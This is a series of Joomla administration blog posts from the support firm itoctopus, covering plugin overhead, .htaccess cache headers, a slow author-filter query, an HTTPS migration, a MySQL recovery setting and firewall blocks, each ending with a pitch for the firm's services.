So far, in every case that we have worked one, the “locking” problem was a server problem (and not an application problem). Having said that, it is always a good idea to disable the .htaccess file (by renaming it to .htaccess.old, for example) and see if that fixes the problem. If it doesn’t, then you should check (with your host) the cache settings of the server hosting your website and apply the appropriate remedy. If you need help fixing this problem, then please contact us. We are always eager to help, our fees are super affordable, and we always find a solution.

Do We Really Need the Joomla “System – User Log” Plugin?

Almost all Joomla administrators do not think about disabling any core plugins that are enabled by default – which is a fine approach, but not when you’re running a large site. Some of these plugins have very little use for many Joomla sites and, as such, they are better off disabled. Take, for example, the “System – User Log” plugin.

In essence, what this plugin does is that it logs the date (and time), the IP, and the reason of a failed login to the Joomla site. The values are recorded in an error.php file which is located under the $log_path (the $log_path is defined in the configuration.php file). On a WHM/cPanel based environment, the plugin logs invalid logins to the /home/[cpanel-user]/public_html/logs/error.php file or to the /home/[cpanel-user]/public_html/administrator/logs/error.php file.

The question is: do Joomla sites really need that?

For the sites that we manage (at itoctopus), we disable the System – User Log plugin as we don’t need the overhead of loading a whole plugin for logging failed logins, and this is because we use .htpasswd protection for backend logins, and, for the frontend (if a website allows frontend logins), we can track invalid logins (should we really need to) through Apache logs. In the past 5 years, we never ran into a situation where we needed to track an invalid login.

So, is there any noticeable performance gain from disabling this plugin?

In most cases – the performance gain is negligible. For high traffic sites, however, disabling the plugin should be considered necessary by the system administrator who must explore any possible strategy to reduce the load on the underlying server.

Are there any other benefits of disabling this plugin?

Reducing disk space usage on the server is another benefit. Let us give you a real life example: a couple of days ago, a new client contacted us and told us that their (cheap) host is asking them to reduce their disk footprint on the server. So, we examined the filesystem of their Joomla site and we noticed that the error.php file is taking almost 14 GB of disk space (yes, that’s fourteen gigabytes). The file was littered with garbage about unsuccessful logins (likely caused by a dictionary attack). Not only this garbage was in this particular file, it was also backed up every night which was taking even more space on the server. We addressed the problem by 1) adding an .htpasswd protection to the backend, 2) disabling the System – User Log plugin, and 3) deleting the error.php file.

Are there any benefits of leaving the plugin enabled?

The only benefit that we can think of is the fact that a very large error.php file indicates persistent brute force attacks (which is the case of our client above), which, in turn, indicates the fact that you should consider implementing this ModSecurity rule on your server to block such attacks. If you need help with the deployment of this rule on your server, then don’t be shy, just contact us. Our fees are affordable, our work is clean, and we are the friendliest Joomla developers in this solar system.

“You are not permitted to use that link to directly access that page” Error when Editing a Joomla Article

After moving the website of a client from a shared host to a dedicated server (with another company), we got a call from the client telling us that she’s experiencing a weird situation.

She told us that when she tries to edit an article on the frontend of the Joomla site, it works the first time, but the second time she clicks on the “Edit” link, she sees the following error:

You are not permitted to use that link to directly access that page

We tried to reproduce the problem on our end, but we couldn’t. So, we asked her to use another browser, and so she used Google Chrome (she was using Safari), and she had the same issue: the first time the edit link worked, and the second time it didn’t.

So, we switched to Chrome (we were using Firefox), and tried to reproduce the problem on our end, and this time, we saw the same error that she was seeing. From our experience, when a problem occurs on one browser and not on another, then it is likely a URL caching problem. So, we disabled browser caching on her Joomla website by adding the following code to the very beginning of the .htaccess file:

<FilesMatch "\.(html|htm|php)>
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Mon, 01 Jan 1990 00:00:00 GMT"
</FilesMatch>

We then tried editing the page on the fronted of the Joomla website, and this time it worked!

Why did the problem start happening when she was moved to the other server?

We are not exactly sure – it might be that there are some global browser caching settings in the httpd.conf file of the Apache web server, but we cannot confirm that.

What if adding the above code doesn’t work?

If the above code doesn’t work, then try disabling the System – Cache plugin and see if it helps. If it still doesn’t, then a good idea would be to analyze the server logs to see how the server is responding to the browser requests. You can also contact us and we’ll fix the problem for you swiftly, professionally, and for a very affordable fee!

The Joomla Authors Filter Field Slows Down Large Sites

Note: This post contains a core modification. Keep in mind that core modifications may cause stability issues and may be wiped out with a simple Joomla update.

A few months back, we’ve written about the Joomla getAuthors function, and how we initially thought it was there to populate the contents of the Author filter field, and how we eventually found out that the function had no purpose whatsoever and wasn’t even responsible for loading the authors.

Needless to say, we were a bit curious back then to know whether loading the authors (that are used for filtering the articles in the backend) used a similar query, but we just didn’t have the time to investigate further…

Fast forward to today, when we found the below slow query while checking the MySQL slow query log on the server of a high traffic Joomla site.

# Query_time: 1.455532  Lock_time: 0.000354 Rows_sent: 33  Rows_examined: 62925
SET timestamp=1521556512;
SELECT u.id AS value, u.name AS text
FROM #__users AS u
INNER JOIN #__content AS c ON c.created_by = u.id
GROUP BY u.id, u.name
ORDER BY u.name;

We immediately thought that the problem was caused by the getAuthors function (which is located in the articles.php file which, in turn, is located under the administrator/components/com_content/models folder), so, we disabled the function by adding a return array(); to its very beginning. Unfortunately, The problem wasn’t fixed as the query still appeared in the slow query log every few minutes.

So, we searched for the files containing the following string “u.id AS value, u.name AS text” in the filesystem of the Joomla site (e.g. under the /home/[cpanel-user]/public_html folder) using the following command:

grep -R 'u.id AS value, u.name AS text' *

And we found that the above query existed in the following 3 files:

  1. administrator/components/com_content/models/articles.php
  2. libraries/cms/html/list.php
  3. libraries/src/Form/Field/AuthorField.php

The first file was clearly not the culprit since we just fixed it. The second one (the list.php file) didn’t have the exact query. So, we were left with the third one, where the query was an exact match.

So, we opened the file AuthorField.php which is located under the libraries/src/Form/Field folder. We scrolled down to the getOptions function, and we changed the following code:

$query = $db->getQuery(true)
	->select('u.id AS value, u.name AS text')
	->from('#__users AS u')
	->join('INNER', '#__content AS c ON c.created_by = u.id')
	->group('u.id, u.name')
	->order('u.name');

to the one below:

$query = $db->getQuery(true)
	->select('u.id AS value, u.name AS text')
	->from('#__users AS u')
	->order('u.name');

We saved the file and then we monitored the site for a few hours and we didn’t see an additional occurrence of the query in the slow query log. Hooray!

So, what is the “AuthorField.php” file?

The AuthorField.php file is the file responsible for displaying the author filter field on the Articles backend page. So you can safely say that the question that we asked ourselves a few months ago (whether the author filter field would cause a performance issue on the site or not) kinda forced us to find its answer.

But, why is the original query slow?

The original query is slow because it only returns the users that have written articles (e.g. the authors), so it does a join operation on the #__content table in order to do that, which is a very expensive operation especially if the #__content table has many articles. Ironically, the purpose of this query is to reduce the load on the browser and also reduce the memory needed to store the users, because some Joomla sites (especially social sites) have thousands of users, and, without this join, all of these users will be returned in the result set and also all of them will be pushed to the browser. That’s why it is not a good idea to implement the above solution on subscription based Joomla sites (please contact us for a customized solution).

We hope that you found our post useful and that implementing the above did speed up your large Joomla site. If you need help with the implementation, then please contact us. We are always eager to help, our fees are affordable, and our Joomla expertise is abundant.

Has Joomla Finally Reached Maturity?

Back in January 2011 (7 years and 1 month ago), people started migrating from Joomla to WordPress or Drupal in droves. The main reason for this mass exodus was the absence of a non-technical migration script from Joomla 1.5 to Joomla 1.6 which left many Joomla administrators with 3 options: 1) pay a lot of money to a professional to migrate their sites to the latest version of Joomla, or 2) migrate to another (more reliable) platform with the help of a professional, or 3) start from scratch on another platform.

What made things worse was the fact that the two subsequent Joomla releases, Joomla 1.6 and 1.7, were both unreliable platforms, and so even some of the people who migrated their sites switched to another platform, as it seemed, back then, that Joomla was self-imploding.

In February of 2012, Joomla 2.5 was released, and while it addressed the stability issues found in Joomla 1.6 and 1.7, it still didn’t solve the major migration dilemma from 1.5 to 2.5. So an additional batch of Joomla administrators left the platform.

At the end of 2012, another major event happened in Joomla, and it was the release of Joomla 3.x (which we are still using today). The migration of Joomla 2.5 to Joomla 3.x was, in most case, a non-seamless experience, and so more people (who couldn’t take it anymore), left the platform to another one.

At around the same time, there were many internal strifes within the Joomla community itself, projecting an impression that Joomla’s future was far from secure. In fact, some serious concerns were voiced back then that Joomla was heading down the Mambo road – in other words, it was going to die and something else was going to be reborn from its ashes. Many enterprise sites using Joomla dumped the platform at that point because nobody wanted to stay in what seemed to be a sinking ship.

But, for some mysterious reasons, Joomla survived (after reaching its lowest point in 2014), albeit with a smaller userbase. The very stable Joomla 3.5 was released, and then Joomla 3.6, Joomla 3.7, and finally Joomla 3.8. Each Joomla iteration since the end of 2014 was better and more secure than its predecessors. There were some exceptions, but these exceptions were immediately addressed and a patched version of Joomla was released typically within a week of the botched version. Never was Joomla that dynamic, and that dynamism has ensured that existing Joomla users were retained, and new ones were acquired.

So what are the factors that lead to Joomla’s revival?

There are several factors that revived Joomla and made it regain its users’ trust:

  • Listening to the mainstream Joomla community: In the early days of Joomla, only opinions from important people in the Joomla ecosystem had impact on the actual coding of the CMS. This is no longer the case today. For example, the very active Joomla forum has a place to discuss each Joomla version when it’s released, and any bug reported by anyone is taken very seriously and is addressed almost immediately.
  • Genuine commitment from the core developers to the product: Unlike WordPress and Drupal, Joomla’s core developers are paid zilch for their contributions, so one would reasonably expect very little commitment from Joomla’s core developers to the product. This is not the case, in fact, the lead Joomla core developer seems to have assumed ownership of the product, which is a good thing, as that same developer has lead Joomla from the brink of extinction to the solid and reliable product that it is today.

  • Sudden (and welcome) attention to performance: A few years ago, not a single core Joomla developer cared about the performance, and the general assumption was that Joomla was mainly used by small websites. We know, for a fact, that Joomla powers some very high traffic websites, and we have complained for ages that Joomla needs some serious optimizations in the core. Our pleads went unheeded, until recently, when Joomla’s core developers started taking performance more seriously. In fact, the negligible performance hit resulting from updating from Joomla 3.7 to Joomla 3.8 (there is a huge technical difference between the 2 versions) is an indication that Joomla is finally on the right track when it comes to performance.

  • More robust security: When was the last time you heard that Joomla had a serious security flaw (other than a minor XSS issue)? Compare that to a few years ago, when security flaws from legacy code were abundant.

  • Less bugs: While we still think that the testing of the Joomla product is mediocre at best, we have to admit that the number of known bugs is decreasing with each Joomla iteration, and the days where a Joomla iteration is specifically released to fix the problems caused by the previous iteration of Joomla are almost behind us.

  • Quick adoption of latest technologies: As of 2015 (possibly even before), Joomla has been a pioneer in adopting new technologies very quickly. The competition, such as WordPress and Drupal, are very slow in that aspect. In fact, neither WordPress nor Drupal have adopted MVC yet, which has been adopted by Joomla since version 1.5.0 (which was released in January of 2008, that’s 10 years ago!).

  • Seamless updates: Very few people know that the update from Joomla 3.7 to 3.8 is technically a migration, and not just a normal update. With some exceptions, that update went super smoothly for Joomla administrators. Who would have thought that Joomla, the same Joomla with the messy 1.5 to 2.5 and 2.5 to 3.x migrations, was finally able to do that?

There are many other factors such as cleaner code, cleaner interface, better code management, etc… that indicate that Joomla has indeed reached maturity, and is now, again, a very stable and a very trustworthy CMS that people can rely on for many years to come to power their websites!

How We Switched a Large Joomla Website to HTTPS

Back in August 2014, Google stated on their official webmasters blog that their ranking algorithm will start giving an advantage to HTTPS sites over HTTP sites. Back then, many people simply did not care, and did not switch their sites to use HTTPS. However, in the beginning of the last autumn (“the beginning of the last autumn” should be the title of a book), Google raised their tone significantly, insisting that all pages that have forms must use HTTPS, or else their browser (Google Chrome, which has more than 50% of the current market share) will display a big warning for the visitors (since content transmitted in HTTP mode will be transmitted in clear text, unlike content that is transmitted in HTTPS, which is transmitted in encrypted format) as of October 2017. This, of course, will increase the bounce rate, which will negatively affect the SEO rankings of the site. Naturally, this decision by Google has forced most businesses who are serious about their websites to switch from HTTP to HTTPS. Owners of small Joomla sites had very little work to do: all they needed was to install an SSL certificate (which is provided for free for WHM accounts), and then Force HTTPS on their entire site in the Joomla backend. For large Joomla sites, the process is more complex, and that’s why we, at itoctopus, decided to share our experience on how we switched a large Joomla website from HTTP to HTTPS.

Here’s the process from A to Z:

  • We installed the SSL certificate.

    Since the client was using WHM, we installed the SSL certificate that was provided for free with a WHM account. Here’s how:

    • We logged in to WHM as root.
    • We clicked on Manage AutoSSL under SSL/TLS on the left panel.
    • Under AutoSSL Providers, we clicked on the radio button next to cPanel (powered by Comodo).
    • We clicked on the Options tab, and then we clicked on all the checkboxes there.
    • We clicked on the Manage Users, and then we clicked on the Enable AutoSSL for the cPanel user.
    • Finally, we clicked on Run AutoSSL For All Users at the very top.

    We waited a few minutes, and then, it happened! AutoSSL generated a cPanel-Comodo branded SSL certificate for the website. Yoohoo!

  • We checked if the Joomla website had any HTTPS redirect plugins.

    In our case, we didn’t find any HTTPS redirect plugins. But, if we did find such plugins, we would have disabled them immediately (not doing that may cause an infinite loop). We also disabled the Joomla Redirect Manager extension since the client didn’t even know how it worked (and also didn’t need it in the first place).

  • We updated all the internal links in the #__content table to use HTTPS:

    • We logged in to phpMyAdmin.
    • We selected the database powering the Joomla website, and then we issued the following queries (note that we replaced #__ with the table alias of the Joomla website [you can find the table alias in the configuration.php file]):

      UPDATE `#__content` SET `introtext`= REPLACE(`introtext`, 'http://www.ourclientjoomlawebsite.', 'https://www.ourclientjoomlawebsite.') WHERE `introtext` LIKE '%http://www.ourclientjoomlawebsite.%';
      UPDATE `#__content` SET `introtext`= REPLACE(`introtext`, 'http://ourclientjoomlawebsite.', 'https://www.ourclientjoomlawebsite.') WHERE `introtext` LIKE '%http://ourclientjoomlawebsite.%';
      UPDATE `#__content` SET `fulltext`= REPLACE(`fulltext`, 'http://www.ourclientjoomlawebsite.', 'https://www.ourclientjoomlawebsite.') WHERE `fulltext` LIKE '%http://www.ourclientjoomlawebsite.%';
      UPDATE `#__content` SET `fulltext`= REPLACE(`fulltext`, 'http://ourclientjoomlawebsite.', 'https://www.ourclientjoomlawebsite.') WHERE `fulltext` LIKE '%http://ourclientjoomlawebsite.%';

    Let us explain the 4 queries above a bit. The first query and the third query replace every instance of http://www.ourclientjoomlawebsite. with https://www.ourclientjoomlawebsite. in the introtext and the fulltext fields respectively. The second query and the fourth query replace every instance of http://ourclientjoomlawebsite. with https://www.ourclientjoomlawebsite. in the introtext and the fulltext fields respectively. The reason why we did that is because some links in the database are http://ourclientjoomlawebsite. instead of http://www.ourclientjoomlawebsite.. Note that if your website uses non-www links instead of www links, then you will need to remove every instance of www. from the links above, and add www. to the links not containing www.. On a side note, we prefer using www, since Google themselves use www.

    If you are using K2, then all you need to is to replace `#__content` with `#__k2_items` in the above queries.

  • We updated all the internal links in the #__menu table to use HTTPS.

    Essentially, the below queries were used to address menu items of type URL with hardcoded internal links.

    UPDATE `#__menu` SET `link`= REPLACE(`link`, 'http://www.ourclientjoomlawebsite.', 'https://www.ourclientjoomlawebsite.') WHERE `link` LIKE '%http://www.ourclientjoomlawebsite.%';
    UPDATE `#__menu` SET `link`= REPLACE(`link`, 'http://ourclientjoomlawebsite.', 'https://www.ourclientjoomlawebsite.') WHERE `link` LIKE '%http://ourclientjoomlawebsite.%';

  • We updated all the internal links in the #__modules table to use HTTPS.

    This step should not be ignored as typically there are quite a few modules (especially modules of type Custom) that have hardcoded links pointing to the Joomla website. Here are the queries that we used:

    UPDATE `#__modules` SET `content`= REPLACE(`content`, 'http://www.ourclientjoomlawebsite.', 'https://www.ourclientjoomlawebsite.') WHERE `content` LIKE '%http://www.ourclientjoomlawebsite.%';
    UPDATE `#__modules` SET `content`= REPLACE(`content`, 'http://ourclientjoomlawebsite.', 'https://www.ourclientjoomlawebsite.') WHERE `content` LIKE '%http://ourclientjoomlawebsite.%';

  • We did a search on the whole database for any remaining entries containing http://www.ourclientjoomlawebsite. (or http://ourclientjoomlawebsite.).

    We did that the following way:

    • We clicked on the “Search” button after selecting the database in phpMyAdmin.
    • We entered the search keyword, which is %http://www.ourclientjoomlawebsite.% in the search box.

    • We clicked on the Exact Phrase radio button and then we clicked on Select All to select all the tables.

    • We clicked on the Go button, and then we fixed every item that contained a hardcoded link.

    • We repeated the above process for %http://ourclientjoomlawebsite.%.

  • We searched through the filesystem for any hardcoded links the following way:

    • We logged in to the Joomla backend and then we cleared the cache. This step is important as it reduces the time it takes to search the whole folder – it is also necessary, as we just changed all the internal links in the database from HTTP to HTTPS, and we don’t want the search to return some false positives from the cache.
    • We ssh’d to the server.

    • We cd’d to the following directory /home/[cpanel-user]/public_html/:

      cd /home/[cpanel-user]/public_html

    • We ran a grep searching for any internal HTTP links in the filesystem:

      grep -R 'http://www.ourclientjoomlawebsite.' *

    • We fixed any file (including JS and CSS files) that has harcoded HTTP link(s).

    • We cleared the Joomla cache again.

    • We repeated the process for ‘http://ourclientjoomlawebsite.’.

  • We instructed the Joomla website to use HTTPS.

    • We went to System -> Global Configuration -> Server in the Joomla backend.
    • We changed the value of Force HTTPS under the Server Settings section to Entire Site.

    • We clicked on Save on the top left and then we cleared the Joomla cache.

  • We added an HTTP to HTTPS redirect in the .htaccess file.

    Now while Joomla automatically redirects from HTTP to HTTPS after doing the above step, it is better to let Apache handle such redirection, since the redirection will be much faster (the Joomla engine doesn’t need to be loaded to redirect the traffic). Here’s the code that we added in the .htaccess file in order to do this:

    RewriteCond %{HTTPS} off
    RewriteRule (.*) https://www.ourclientjoomlawebsite.com/$1 [R=301,L]

  • We removed the value of $live_site from the configuration.php file.

    This step is important because some backend activities (such as updates) will become unstable if $live_site is set to the HTTP version of the website.

  • We fixed the code of the social sharing plugins to use HTTPS instead of HTTP.

    We edited the code of the social sharing plugin and ensured that it was referencing the HTTPS version of the website, and not the HTTP one. Of course, the question is, what about the counters? For example, what if the HTTP version of a link was shared 100 times on Facebook, will that number be preserved after switching to HTTPS? The answer is yes, the number is preserved. Social websites consider the HTTPS and the HTTP version of a link as just one page (unlike Google). In any case, among all 3 major social websites (Facebook, LinkedIn, and Twitter), only Facebook now displays the number of shares. Twitter dropped the counter last year, and LinkedIn dropped it early this month (February 2018).

  • We tested the website thoroughly.

    We cleared the Joomla cache and then we tested the website thoroughly, and ensured that all the links still work and are loaded through HTTPS. We also ensured that there were no “mixed content” errors in the console.

  • We added the HTTPS version of the website in Google’s Search Console.

    For some odd reason, Google’s search engine (and Google’s search console) still considers the HTTP version of the website and the HTTPS version of that same website to be different websites, which means that we had to re-add (and re-verify) the HTTPS version of the website to Google’s Search Console (formerly Google’s Webmaster Tools). Note: There is no need to do any action in the Google Analytics account when switching from HTTP to HTTPS.

  • That’s it! That was the whole process!

We hope that you found our lengthy guide useful for the HTTPS transition of your Joomla website. If you need help with the implementation, then look no further. All you need to do is to contact us and we’ll take care of the whole thing swiftly, professionally, and cleanly. Please note that our fees apply.

“1881 – Operation not allowed when innodb_forced_recovery > 0.” Error on Joomla Site

A new client called us yesterday and told us that the website of the company he works for is down. He told us that it was displaying a weird error.

We immediately visited the website, and we noticed that it was displaying the below error (in red):

“1881 – Operation not allowed when innodb_forced_recovery > 0.” Error on Joomla Site

Luckily, we knew what innodb_forced_recovery is as we have used it before: it’s a MySQL setting in the my.cnf file (the MySQL configuration) and it is used to recover a MySQL database using the InnoDB storage setting after a crash.

We thought, could it be that the MySQL database crashed, and someone tried to recover the database, and it didn’t recover properly so he forgot the innodb_forced_recovery setting in the my.cnf file? So, we logged in to to phpMyAdmin and, to our pleasant surprise, the database was working and all the tables were OK. So, the prevailing theory here is that the database did crash, someone tried to recover the database, the recovery worked, but that person didn’t even test the website possibly because he thought that the recovery failed because it was taking a lot of time (and, as such, forgot to remove innodb_forced_recovery setting). Now, all we had to do was to comment out (or remove) the innodb_forced_recovery setting from the my.cnf file. We did this the following way:

  • We ssh’d to the server as root.
  • We opened, using vi, the file my.cnf which is located under the /etc folder.

  • We commented out the following line by adding a hash (#) to its beginning (note: you can also remove the line altogether):

    innodb_force_recovery = 2

  • We restarted MySQL by issuing the following command:

    service mysql restart

  • We checked the website and this time it worked! Yoohoo!

Now, if you’re the curious type, then you might be wondering what it means when innodb_force_recovery has a value of 2, and whether it can have different values. In short, the innodb_force_recovery can have values ranging from 0 to 6.

If innodb_force_recovery = 0, then recovery is disabled (this means normal operation).

If innodb_force_recovery = 1, then recovery is enabled, but it’s the most basic recovery and should be used when only little corruption has occurred to the database.

The higher the value of the innodb_force_recovery, the more aggressive (and dangerous) the recovery is. A value of 6 should only be used when all other options were exhausted, this is because it can make the problem even worse by permanently and irreversibly corrupting the database. You can read more about innodb_force_recovery = 1 on MySQL’s official documentation (note: external link).

We hope that you found this short post useful. If you are having the same problem and if you need help implementing the solution, then please contact us. Our fees are right, our work is professional, we are based in the lovely city of Montreal, and we are Joomla experts!

“AJAX Loading Error: error” when Updating Your Joomla Website

A regular client who subcontracts work to us emailed us that he wasn’t able to update the website of one of his clients from Joomla 3.8.3 to Joomla 3.8.5. He told us that the update would fail halfway through with the following error:

AJAX Loading Error: error

Of course, the first thing that we thought was a blocked restore.php file, despite the fact that the error was a bit different. So, we checked whether there was a rule in the .htaccess file blocking direct execution of PHP files other than the index.php file, but, not only we didn’t find any blocking rule, we didn’t find any .htaccess file at all. Additionally, all the permissions on the restore.php file were correct as we were able to directly access the file from our browser by using the following URL: http://www.[ourclientjoomlawebsite].com/administrator/components/com_joomlaupdate/restore.php (it was returning the following json ###{“status”:false,”message”:”Invalid login”}###).

So, we tried to update the website ourselves (after backing up the filesystem and the database) and, at first, everything went smoothly. However, at exactly 56% of the update process, the progress stopped. About 30 seconds later, we saw the same error that our client was seeing. Not only that, we were blocked from accessing the website for about 5 minutes (we checked the website through a proxy and it was working there). Hmmm!

We were a bit suspicious of this whole 5 minute block thing, but, at first, we didn’t think of it much as we assumed it was just a coincidence. So, we did a research on the issue (yes, sometimes we rely on other people’s answers to the problem), and some were stating that the presence of a $live_site value in the configuration.php file was causing the same problem for them. So, we checked the configuration.php file under the main directory of the Joomla website, and, to our disappointment, the $live_site value was already empty. Others claimed that clearing the cache may solve the problem, so, we cleared the Joomla cache (there was about 1 GB of cached files, which was quite a lot, even more so when you take into consideration that the website was extremely simplistic), and then we tried the update again, but it didn’t work. Not only it didn’t work, but we were also blocked again. Double hmmm!

Once we were unblocked, we tried the update using Google Chrome while having the console open (you can open the console in Google Chrome by pressing F12), and we saw the following messages:

update.js?73ddd8fdd62da3333508a24283f9db89:171 XHR finished loading: POST "https://www.[ourclientjoomlawebsite].com/administrator/components/com_joomlaupdate/restore.php".
update.js?73ddd8fdd62da3333508a24283f9db89:171 POST https://www.[ourclientjoomlawebsite].com/administrator/components/com_joomlaupdate/restore.php net::ERR_CONNECTION_TIMED_OUT
update.js?73ddd8fdd62da3333508a24283f9db89:171 XHR failed loading: POST "https://www.[ourclientjoomlawebsite].com/administrator/components/com_joomlaupdate/restore.php".

Now, if you read the second line a bit more closely, you will notice that the browser is complaining about timing out while posting to the restore.php file. We immediately thought of 2 things that may have been causing the issue:

  • A small value of the max_execution_time PHP setting.
  • A weird rule triggered by an application firewall, such as ModSecurity.

We were able to immediately dismiss the first issue above as the Joomla backend was reporting 300 seconds as the value of the max_execution_time. Still, just to be 100% sure, we added a .user.ini file under the main directory of the Joomla website and then we added to that file the following line:

max_execution_time = 300

We tried the update again (just in case), and, unsurprisingly, it failed.

So that left us with the firewall theory, which made the most sense, since our IP was blocked temporarily every time we tried to update the site, which was a huge sign of a firewall’s foul play. Unfortunately, we were not able to confirm that theory because we didn’t have root access to the server, and neither did the client (and nor the client’s client, for that matter). So, we communicated our findings to the client, and asked him to route these findings to the host. The host was immediately responsive, and stated that a security module called OSSEC (which we have never heard of before) caused this issue. They then whitelisted the client’s IP and he was able to finally perform the update. Hooray!

So, our dear, dear reader, if you are seeing an AJAX Loading Error: error popup when you are trying to update your Joomla website, then check your max_execution_time value in PHP’s settings. If it’s too low, then increase it, and see if the problem is solved. If not, then clear your Joomla cache and make sure that $live_site has an empty value in the configuration.php. If that doesn’t solve the problem, then check your server for any security rules being triggered. If that also fails to solve the problem, then you can always contact us. We will fix the problem for you quickly, cleanly, and affordably!

Your Company IP Is Blocked from Accessing Your Joomla Site? Read This!

Around 10 AM EST yesterday morning, we got a call from a large company telling us that their Joomla website is down as none of their staff members are able to access it. We checked and we were able to access the website. The first thing that came into our minds was that their company IP was blocked by the firewall. So, we logged in to WHM, and we flushed all the blocks (we clicked on ConfigServer Security & Firewall under Plugins on the left menu, and then we clicked on Flush all Blocks) . Once we did that, we emailed them asking them to confirm that the problem was resolved, and they replied back with a “Yes”.

Around 10:30 AM EST, they called back and told us that the problem happened again. Clearly, we needed to get to the bottom of the problem (we can’t keep flushing their blocks every 30 minutes forever). From our experience, there are 3 things that can cause this problem:

  1. Logging in to the server with the wrong SFTP credentials: If you login to SFTP several times from the same IP, then you will get blocked (usually after 5 unsuccessful logins).
  2. Logging with the wrong set of credentials on an .htpasswd protected page: If you have an .htpasswd protected page, and you login with the wrong set of credentials for 5 times, then you will get blocked by the firewall.

  3. Repeatedly triggering a ModSecurity rule: ModSecurity, the web application firewall, is very picky about the incoming requests to the web server and blocks quite a few false positives. It’s even more picky when additional, custom rules are added to its engine. For example, in the case of one client, a custom ModSecurity rule added by the host blocked OpenOffice users because they were sending some wrong headers to the server.

A quick investigation in the logs revealed that the issue was caused by none of the above, but by something else. The following line in the lfd.log file (lfd stands for login failure daemon) which is located under the /var/log folder provided us with a pointer as to what the actual cause of the issue was:

Feb 12 08:51:33 [server] lfd[28239]: (smtpauth) Failed SMTP AUTH login from [ip-address] (US/United States/[...]): 5 in the last 3600 secs - *Blocked in csf* [LF_SMTPAUTH]

The above line, in case you’re wondering, is telling us that the IP of the client ([ip-address]) was blocked because it had 5 failed SMTP authentications in one hour. Now, of course, the question is, which email address is causing this?

After examining the exim log files, we discovered that the following email was the cause of the problem: noreply@ourclientjoomlawebsite.com. We quickly informed the client about our findings, and they took care of the issue on their end immediately. We then flushed the CSF blocks again and the issue was finally resolved.

If your company IP is blocked from accessing your Joomla website, then try flushing the CSF blocks in WHM. If that doesn’t fix the problem permanently, then check your logs for the cause of the issue in order to address it. If you need help doing that, then please contact us. We will know what’s causing the block, we will fix it, and your company won’t go bankrupt paying our fees.

Thoughts on Google PageSpeed Insights (PSI) and Joomla Websites

Increasingly, we are getting requests from clients asking us to increase the Google PageSpeed Insights (PSI) score of their Joomla sites. Some of them even ask us to get them a score of a 100, which can only be possible if the Joomla website is an extremely basic one.

We usually respond that any score of about 80 (or even 75) is a good score, and that while a very high PSI score may provide a very slight boost to the SEO rankings of the site, it is usually not worth it, because, at best, that score will only be temporary, and, at worst, the website’s will become a complete mess. Let us explain…

First, Google PageSpeed Insights has some really unrealistic expectations when it comes to the page response time. We have seen the tool complaining about a 240 millisecond response time as too slow and asking us to “reduce it”. In our opinion and in the opinion of many, such a response time is excellent. So, administrators with slow Joomla sites (according to PSI) resort to using all kinds of caching tools (including Joomla’s own System – Cache plugin, possibly the most horrible caching plugin ever) to provide a quick remedy to the problem. This typically results in weird issues, such as layout issues, broken functionality, etc…

Second, PSI insists on having only the extremely necessary CSS and JS code loaded “above-the-fold”. “Above-the-fold” means being loaded in the head tag (before the page is rendered), and this requirement is there to ensure that the HTML content loads even if there are problems loading the CSS/JS files. This concern is valid for 2 reasons: 1) if the dependencies (the CSS and JS files) are loaded externally and there are connection problems with the remote site(s), and 2) if the SYN_FLOOD firewall value is set to a very small value, preventing the quick loading of assets. Joomla administrators typically install system plugins that will add defer or async to various assets being loaded – the problem is, however, that in many cases, these extensions result in a hard-to-fix mess.

Third, PSI expects the site administrator to have control over external websites. For example, if the website has AdSense ads on it, then PSI insists that the website must “leverage browser caching” on the AdSense assets (images, CSS, JS), which is not possible. This makes the lives of Joomla administrators extremely hard, especially those having many JavaScript tracking snippets and widgets on their Joomla sites. These administrators are typically left with the not-so-pleasant task of giving the marketing department (or the site owner) a choice: Higher PSI score or JS tracking snippets/widgets, but not both.

Fourth, even if a Joomla website is lucky enough to reach a high PageSpeed Insights score, then that score will gradually decrease with time, this is because almost every install and every update of an extension will negatively affect the score, and because new images that will be uploaded (and possibly processed by an extension, such as the images that are uploaded in K2) will most likely be unoptimized.

Fifth, it is really absurd to meet the technical standards that Google itself is not meeting in most of its products. Take a look at YouTube’s score for example, do you see a 100? How about Gmail’s score? How about that of Alphabet, Google’s parent company? None of these have perfect score, and one of them (Gmail) has a really, really low one.

So, should people ignore Google PageSpeed Insights?

Not at all – it does promote some best practices that are excellent to implement. However, it is important not to get obsessed with having a high score. A moderate to good score of 75-80 is more than enough.

PSI is a good tool, but it is ideal and far from realistic. With its idealism, Google’s PSI is inadvertently promoting some bad practices on the Internet, and is ironically standing against the #1 recommendation that Google has for the webmasters: make websites for humans, and not for (ro)bots. Because of PSI’s requirements, some webmasters are now doing the opposite.

Now, if you, our dear reader, are having problems raising the Google PageSpeed Insights score of your Joomla website to an acceptable level, then all you need to do is to contact us. We are always there for you, our work is professional, our attitude is right, and our prices are affordable.

How the “getAuthors” Function Slows Down the Joomla Backend “Articles” Page

Note: The solution in this post is a core modification. Proceed with caution.

Another note: This post has been modified on January 31st, 2018 to correct an error. The post has originally been published the day before, on January 30th, 2018.

While analyzing the performance of the backend of a Joomla 3.8 website that has over 200K articles, we noticed something interesting; we noticed that the following query was taking some time:

SELECT u.id AS value, u.name AS text
FROM #__users AS u
INNER JOIN #__content AS c ON c.created_by = u.id
GROUP BY u.id, u.name
ORDER BY u.name;

The above query generates a list of all the users who have created at least one article. It was taking about 14 seconds and it was examining about 500,000 rows. Tracing the query, we discovered that it was triggered by the getAuthors function which is located in the articles.php file (which is in turn located under the administrator/components/com_content/models folder).

So, which page triggers the “getAuthors” function?

Mainly it is the Articles page (under Content -> Articles) that triggers the getAuthors function. At first, we thought that it does that to populate the Select Author filtering dropdown (under the Search Tools), so, when someone is searching for an author, they won’t have to search through the users that don’t have any articles published. However, on closer look, we discovered that this wasn’t the case. The function getAuthors had no use, it was just loaded by the administrator articles view (the file articles.php which is located under the folder administrator/components/com_content/views) by the following line:

$this->authors = $this->get('Authors');

Now we searched the whole Joomla website for a single usage of this function, but we couldn’t find any. Yes, the function was utterly useless. So, we just added return array(); to the very beginning of the getAuthors function and we got rid of that heavy and unnecessary query.

We hope that you enjoyed this light post and that you found it useful. If you need help with the implementation, then just contact us. Our fees are right, our work is clean, and we are experts in optimizing Joomla websites.

Saving Large Articles in Joomla’s Backend Returns a 404 Error

